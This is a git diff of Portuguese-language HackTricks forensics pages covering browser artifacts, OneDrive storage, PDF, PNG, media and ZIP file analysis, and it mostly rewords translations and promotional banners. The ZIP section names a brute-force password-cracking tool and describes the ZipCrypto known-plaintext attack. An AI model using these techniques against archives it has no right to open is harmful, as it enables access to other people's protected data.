{% endhint %} -Aqui você pode encontrar truques interessantes para tipos de arquivos específicos e/ou software: +Aqui você pode encontrar truques interessantes para tipos de arquivos e/ou software específicos: {% page-ref page=".pyc.md" %} @@ -39,16 +39,16 @@ Aqui você pode encontrar truques interessantes para tipos de arquivos específi {% hint style="success" %} -Aprenda e pratique AWS Hacking:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 2b1701a81..0cd1be6d1 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,16 +1,16 @@ -# Browser Artifacts +# Artefatos do Navegador {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -18,12 +18,12 @@ Learn & practice GCP Hacking:
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\ +Acesse hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Browsers Artifacts +## Artefatos do Navegador Os artefatos do navegador incluem vários tipos de dados armazenados pelos navegadores da web, como histórico de navegação, favoritos e dados de cache. Esses artefatos são mantidos em pastas específicas dentro do sistema operacional, variando em localização e nome entre os navegadores, mas geralmente armazenando tipos de dados semelhantes. @@ -124,11 +124,11 @@ O Internet Explorer 11 gerencia seus dados e metadados em vários locais, ajudan ### Armazenamento de Metadados -Os metadados do Internet Explorer são armazenados em `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (com VX sendo V01, V16 ou V24). Acompanhando isso, o arquivo `V01.log` pode mostrar discrepâncias no tempo de modificação com `WebcacheVX.data`, indicando a necessidade de reparo usando `esentutl /r V01 /d`. Esses metadados, alojados em um banco de dados ESE, podem ser recuperados e inspecionados usando ferramentas como photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), respectivamente. Dentro da tabela **Containers**, pode-se discernir as tabelas ou contêineres específicos onde cada segmento de dados é armazenado, incluindo detalhes de cache para outras ferramentas da Microsoft, como o Skype. +Os metadados do Internet Explorer são armazenados em `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (com VX sendo V01, V16 ou V24). Acompanhando isso, o arquivo `V01.log` pode mostrar discrepâncias no tempo de modificação com `WebcacheVX.data`, indicando a necessidade de reparo usando `esentutl /r V01 /d`. Esses metadados, alojados em um banco de dados ESE, podem ser recuperados e inspecionados usando ferramentas como photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), respectivamente. Dentro da tabela **Containers**, pode-se discernir as tabelas ou contêineres específicos onde cada segmento de dados é armazenado, incluindo detalhes de cache para outras ferramentas da Microsoft, como Skype. ### Inspeção de Cache -A ferramenta [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) permite a inspeção de cache, exigindo a localização da pasta de extração de dados de cache. Os metadados do cache incluem nome do arquivo, diretório, contagem de acessos, origem da URL e timestamps indicando os tempos de criação, acesso, modificação e expiração do cache. +A ferramenta [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) permite a inspeção de cache, exigindo o local da pasta de extração de dados de cache. Os metadados do cache incluem nome do arquivo, diretório, contagem de acessos, origem da URL e timestamps indicando os tempos de criação, acesso, modificação e expiração do cache. ### Gerenciamento de Cookies @@ -140,7 +140,7 @@ Os metadados de downloads estão acessíveis via [ESEDatabaseView](https://www.n ### Histórico de Navegação -Para revisar o histórico de navegação, pode-se usar [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), exigindo a localização dos arquivos de histórico extraídos e configuração para o Internet Explorer. Os metadados aqui incluem tempos de modificação e acesso, juntamente com contagens de acesso. Os arquivos de histórico estão localizados em `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +Para revisar o histórico de navegação, pode-se usar [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), exigindo o local dos arquivos de histórico extraídos e configuração para o Internet Explorer. Os metadados aqui incluem tempos de modificação e acesso, juntamente com contagens de acesso. Os arquivos de histórico estão localizados em `%userprofile%\Appdata\Local\Microsoft\Windows\History`. ### URLs Digitadas diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index eebe5f756..8ac1f2ed8 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -54,16 +54,16 @@ End With End Function ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 02287a04f..3bd1df9fb 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -18,8 +18,8 @@ Aprenda e pratique Hacking GCP:
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas** da **comunidade mais avançadas** do mundo.\ -Acesse hoje: +Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** da **comunidade mais avançadas** do mundo.\ +Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -34,7 +34,7 @@ No Windows, você pode encontrar a pasta do OneDrive em `\Users\\AppDa * Número de arquivos na pasta * **CID**: ID único do usuário do OneDrive * Hora de geração do relatório -* Tamanho do HD do sistema operacional +* Tamanho do HD do SO Uma vez que você tenha encontrado o CID, é recomendado **procurar arquivos contendo esse ID**. Você pode ser capaz de encontrar arquivos com o nome: _**\.ini**_ e _**\.dat**_ que podem conter informações interessantes como os nomes dos arquivos sincronizados com o OneDrive. @@ -117,7 +117,7 @@ Outras tabelas dentro deste banco de dados contêm informações mais interessan
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas** da comunidade **mais avançadas** do mundo.\ +Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** da comunidade **mais avançadas** do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -132,7 +132,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 004cd792a..450a90565 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -54,7 +54,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 6b1a4766b..83adb7373 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -18,14 +18,14 @@ Aprenda e pratique Hacking GCP:
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ +Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} **Para mais detalhes, confira:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -O formato PDF é conhecido por sua complexidade e potencial para ocultar dados, tornando-se um ponto focal para desafios de forense em CTF. Ele combina elementos de texto simples com objetos binários, que podem estar comprimidos ou criptografados, e pode incluir scripts em linguagens como JavaScript ou Flash. Para entender a estrutura do PDF, pode-se consultar o [material introdutório de Didier Stevens](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ou usar ferramentas como um editor de texto ou um editor específico de PDF, como o Origami. +O formato PDF é conhecido por sua complexidade e potencial para ocultar dados, tornando-se um ponto focal para desafios de forense em CTF. Ele combina elementos de texto simples com objetos binários, que podem ser comprimidos ou criptografados, e pode incluir scripts em linguagens como JavaScript ou Flash. Para entender a estrutura do PDF, pode-se consultar o [material introdutório de Didier Stevens](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ou usar ferramentas como um editor de texto ou um editor específico de PDF, como o Origami. Para exploração ou manipulação aprofundada de PDFs, ferramentas como [qpdf](https://github.com/qpdf/qpdf) e [Origami](https://github.com/mobmewireless/origami-pdf) estão disponíveis. Dados ocultos dentro de PDFs podem estar escondidos em: diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index b8957bab2..0bf4ef332 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,20 +1,5 @@ -{% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +**Arquivos PNG** são altamente valorizados em **desafios CTF** por sua **compressão sem perdas**, tornando-os ideais para embutir dados ocultos. Ferramentas como **Wireshark** permitem a análise de arquivos PNG ao dissecar seus dados dentro de pacotes de rede, revelando informações embutidas ou anomalias. -
+Para verificar a integridade de arquivos PNG e reparar corrupção, **pngcheck** é uma ferramenta crucial, oferecendo funcionalidade de linha de comando para validar e diagnosticar arquivos PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Quando os arquivos estão além de correções simples, serviços online como [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) fornecem uma solução baseada na web para **reparar PNGs corrompidos**, ajudando na recuperação de dados cruciais para participantes de CTF. -Apoie o HackTricks - -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
-{% endhint %} - -Os arquivos **PNG** são altamente considerados em desafios de **CTF** por sua **compressão sem perdas**, tornando-os ideais para incorporar dados ocultos. Ferramentas como **Wireshark** permitem a análise de arquivos PNG ao dissecar seus dados dentro de pacotes de rede, revelando informações embutidas ou anomalias. - -Para verificar a integridade de arquivos PNG e reparar corrupções, **pngcheck** é uma ferramenta crucial, oferecendo funcionalidade de linha de comando para validar e diagnosticar arquivos PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Quando os arquivos estão além de correções simples, serviços online como [PixRecovery da OfficeRecovery](https://online.officerecovery.com/pixrecovery/) fornecem uma solução baseada na web para **reparar PNGs corrompidos**, auxiliando na recuperação de dados cruciais para os participantes de CTF. - -Essas estratégias destacam a importância de uma abordagem abrangente em CTFs, utilizando uma combinação de ferramentas analíticas e técnicas de reparo para descobrir e recuperar dados ocultos ou perdidos. +Essas estratégias ressaltam a importância de uma abordagem abrangente em CTFs, utilizando uma combinação de ferramentas analíticas e técnicas de reparo para descobrir e recuperar dados ocultos ou perdidos. diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index 16470432c..8f7684d79 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -25,7 +25,7 @@ Para desafios de áudio, **[Audacity](http://www.audacityteam.org/)** se destaca A manipulação de **Bits Menos Significativos (LSB)** é uma técnica comum em esteganografia de áudio e vídeo, explorando os blocos de tamanho fixo de arquivos de mídia para embutir dados discretamente. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** é útil para decodificar mensagens ocultas como **tons DTMF** ou **código Morse**. -Desafios de vídeo frequentemente envolvem formatos de contêiner que agrupam fluxos de áudio e vídeo. **[FFmpeg](http://ffmpeg.org/)** é a escolha ideal para analisar e manipular esses formatos, capaz de desmultiplexar e reproduzir conteúdo. Para desenvolvedores, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integra as capacidades do FFmpeg no Python para interações avançadas e scriptáveis. +Desafios de vídeo frequentemente envolvem formatos de contêiner que agrupam fluxos de áudio e vídeo. **[FFmpeg](http://ffmpeg.org/)** é a ferramenta preferida para analisar e manipular esses formatos, capaz de desmultiplexar e reproduzir conteúdo. Para desenvolvedores, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integra as capacidades do FFmpeg no Python para interações avançadas e scriptáveis. Essa variedade de ferramentas destaca a versatilidade necessária em desafios CTF, onde os participantes devem empregar um amplo espectro de técnicas de análise e manipulação para descobrir dados ocultos em arquivos de áudio e vídeo. diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index aca85cc26..a9f142d3a 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -1,46 +1,46 @@ -# Truques com arquivos ZIP +# ZIPs tricks {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -**Ferramentas de linha de comando** para gerenciar **arquivos zip** são essenciais para diagnosticar, reparar e quebrar arquivos zip. Aqui estão algumas utilidades-chave: +**Ferramentas de linha de comando** para gerenciar **arquivos zip** são essenciais para diagnosticar, reparar e quebrar arquivos zip. Aqui estão algumas utilidades chave: - **`unzip`**: Revela por que um arquivo zip pode não descompactar. -- **`zipdetails -v`**: Oferece análise detalhada dos campos do formato do arquivo zip. -- **`zipinfo`**: Lista o conteúdo de um arquivo zip sem extraí-los. -- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Tente reparar arquivos zip corrompidos. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uma ferramenta para quebrar senhas zip por força bruta, eficaz para senhas de até cerca de 7 caracteres. +- **`zipdetails -v`**: Oferece análise detalhada dos campos do formato de arquivo zip. +- **`zipinfo`**: Lista o conteúdo de um arquivo zip sem extraí-lo. +- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Tentam reparar arquivos zip corrompidos. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uma ferramenta para quebra de senhas zip por força bruta, eficaz para senhas de até cerca de 7 caracteres. -A [especificação do formato de arquivo Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornece detalhes abrangentes sobre a estrutura e os padrões de arquivos zip. +A [especificação do formato de arquivo Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornece detalhes abrangentes sobre a estrutura e os padrões dos arquivos zip. -É crucial observar que arquivos zip protegidos por senha **não criptografam os nomes de arquivos ou tamanhos de arquivos** dentro deles, uma falha de segurança não compartilhada com arquivos RAR ou 7z que criptografam essas informações. Além disso, arquivos zip criptografados com o método ZipCrypto mais antigo são vulneráveis a um **ataque de texto simples** se uma cópia não criptografada de um arquivo comprimido estiver disponível. Esse ataque aproveita o conteúdo conhecido para quebrar a senha do zip, uma vulnerabilidade detalhada no [artigo do HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e explicada mais detalhadamente neste [artigo acadêmico](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). No entanto, arquivos zip protegidos com criptografia **AES-256** são imunes a esse ataque de texto simples, destacando a importância de escolher métodos de criptografia seguros para dados sensíveis. +É crucial notar que arquivos zip protegidos por senha **não criptografam nomes de arquivos ou tamanhos de arquivos** dentro, uma falha de segurança que não é compartilhada com arquivos RAR ou 7z que criptografam essas informações. Além disso, arquivos zip criptografados com o método mais antigo ZipCrypto são vulneráveis a um **ataque de texto simples** se uma cópia não criptografada de um arquivo comprimido estiver disponível. Este ataque aproveita o conteúdo conhecido para quebrar a senha do zip, uma vulnerabilidade detalhada no [artigo do HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e explicada mais detalhadamente [neste artigo acadêmico](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). No entanto, arquivos zip protegidos com criptografia **AES-256** são imunes a esse ataque de texto simples, demonstrando a importância de escolher métodos de criptografia seguros para dados sensíveis. ## Referências -* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) +* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/forensics/basic-forensic-methodology/windows-forensics/README.md b/forensics/basic-forensic-methodology/windows-forensics/README.md index eb2a319b9..edad2b6b9 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -1,18 +1,18 @@ -# Artefatos do Windows +# Windows Artifacts -## Artefatos do Windows +## Windows Artifacts {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
